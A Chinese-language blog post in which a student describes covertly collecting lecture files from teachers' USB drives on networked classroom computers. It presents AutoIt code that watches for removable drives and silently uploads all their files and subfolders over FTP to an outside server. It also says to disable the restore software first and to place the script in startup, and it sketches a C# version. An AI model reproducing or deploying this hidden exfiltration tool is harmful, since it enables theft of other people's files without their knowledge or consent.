感谢网络中心给每个教室的电脑都接了网。
对于不给拷课件的老师,我们只有做点手脚了。 有网绝对好办。
首先把还原精灵给干了,这个我说过了。
嗯,放个脚本偷偷传,是个好主意。可VB不熟(顶多混个二级过关),C++都不会。那么。。。哈哈~用AutoIt吧~
脚本还没写的很好,不过关键问题解决了。一个是用FTP方式上传,一个是检测可移动设备:
#include <FTPEx.au3>
$server = 'www.njnu.me'
$username = 'xxx'
$password = 'xxx'
$localdir = 'f:'
$remotedir = ''
$ftpopen = _FTP_Open("up")
$ftpconn = _FTP_Connect($ftpopen,$server,$username,$password)
$rt1 = _FTP_DirPutContents($ftpconn,$localdir,$remotedir,0)
$rt2 = _FTP_DirPutContents($ftpconn,$localdir,$remotedir,1)
这是上传的。最后有2句差不多的,前一个是把目录下的文件上传,后一个是遍历所有子目录上传其中的文件。
While 1
Sleep(300)
$var = DriveGetDrive("REMOVABLE")
For $i = 1 To $var[0]
If $var[$i] <> "a:" Then
'这里执行上传代码($var[$i]为驱动器盘符)
Exit
EndIf
Next
Sleep(5000)
WEnd
这是检测移动设备的。有时候A盘也会被看作可移动设备,所以要去掉。脚本可以加到开机启动项里,每过大概5分钟检测一次,直到可移动设备出现。
还有一个思路是用C#写个。那个要.net framework(顺便诅咒下XP早点死),装起来有些麻烦,不过没了还原,事先装好也还行。找到个不错的FTP类库。但是是老外弄的,所以遇到中文目录和文件名会报错。折腾了好久,是字符编码的问题。
private static Encoding ASCII = Encoding.ASCII;
private static Encoding Unicode = Encoding.Default;
用ASCII就会乱码。试了下子,用Default就OK了,讲不出什么可信的道理来。
FTP能用了,之后只要配合文件操作的内容就能实现了,书上有不错的例子。